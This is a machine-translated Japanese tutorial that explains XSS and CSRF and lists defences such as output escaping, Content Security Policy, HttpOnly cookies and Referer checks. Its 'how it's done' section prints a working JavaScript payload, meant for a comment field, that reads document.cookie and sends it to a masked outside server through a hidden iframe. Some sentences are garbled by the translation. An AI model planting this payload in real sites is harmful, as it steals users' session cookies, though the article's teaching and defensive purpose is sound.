ホームページ  >  記事  >  バックエンド開発  >  XSS および CSRF 攻撃から保護する方法

XSS および CSRF 攻撃から保護する方法

小云云
小云云オリジナル
2018-03-19 13:04:351927ブラウズ


XSS: クロスサイト スクリプティング (XSS とも呼ばれる) は、Web サイト アプリケーションに対するセキュリティ脆弱性攻撃であり、コード インジェクションの一種です。これにより、悪意のあるユーザーが Web ページにコードを挿入することができ、Web ページを閲覧している他のユーザーに影響を及ぼします。このタイプの攻撃には通常、HTML とユーザー側のスクリプト言語が関係します。

CSRF: クロスサイト リクエスト フォージェリ (英語: Cross-site request forgery)、ワンクリック攻撃またはセッションライディングとも呼ばれ、通常は CSRF または意図しない操作を実行する攻撃手法です。

簡単に理解すると:

XSS: クライアント側のスクリプト言語 (JavaScript などの最も一般的なもの) を介して
悪意のある JavaScript コードをフォーラム投稿に公開することは、このコードのコンテンツが外部サーバー、それは XSS と呼ばれます。

CSRF: XSRF とも呼ばれ、ユーザーになりすまして (ユーザーの知らないうちに) リクエストを開始し、ユーザーの希望に反して一部のリクエスト (悪意のある投稿、投稿の削除、パスワードの変更、電子メールの送信など) を完了します。 。)。

やり方

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

保護方法

中心的な考え方: 外部ソースからのすべてのデータは、ページに表示される前にサーバー コードでフィルターされる必要があります。つまり、すべての外部データは必ず違法です。フィルタリングをうまくやってください。

1. innerText (IE) と textContent (Firefox)、つまり jQuery の text() を使用してテキストコンテンツを出力してみます
2. innerHTML やその他の関数を使用する必要がある場合は、php の htmlspecialchars と同様のフィルタリングを行う必要があります

3 .html出力時に、コンテンツセキュリティポリシーのHTTPヘッダーを追加します
(機能: XSS、サードパーティスクリプトファイルの埋め込みなどによるページの攻撃を防ぐことができます)
(欠点: IE 以前のバージョンのブラウザでは、サポートしていません)
4. Cookieを設定する場合、HttpOnlyパラメータを追加します
(機能: XSSによるページ攻撃時にCookie情報が盗まれるのを防ぐことができ、IE6と互換性があります)
(欠点: のJSコードウェブサイト自体はCookieを操作できず、限定的であり、Cookieのセキュリティのみを保証します)
5. API開発時にリクエストのRefererパラメータを確認する
(機能: CSRF攻撃をある程度防ぐことができます)
(欠点) : IE 以前のバージョンのブラウザでは、Referer パラメーターが偽造される可能性があります)

関連する推奨事項:

クロスサイトおよびクロスサイトを防ぐための PHP 実装サンプル コード

以上がXSS および CSRF 攻撃から保護する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。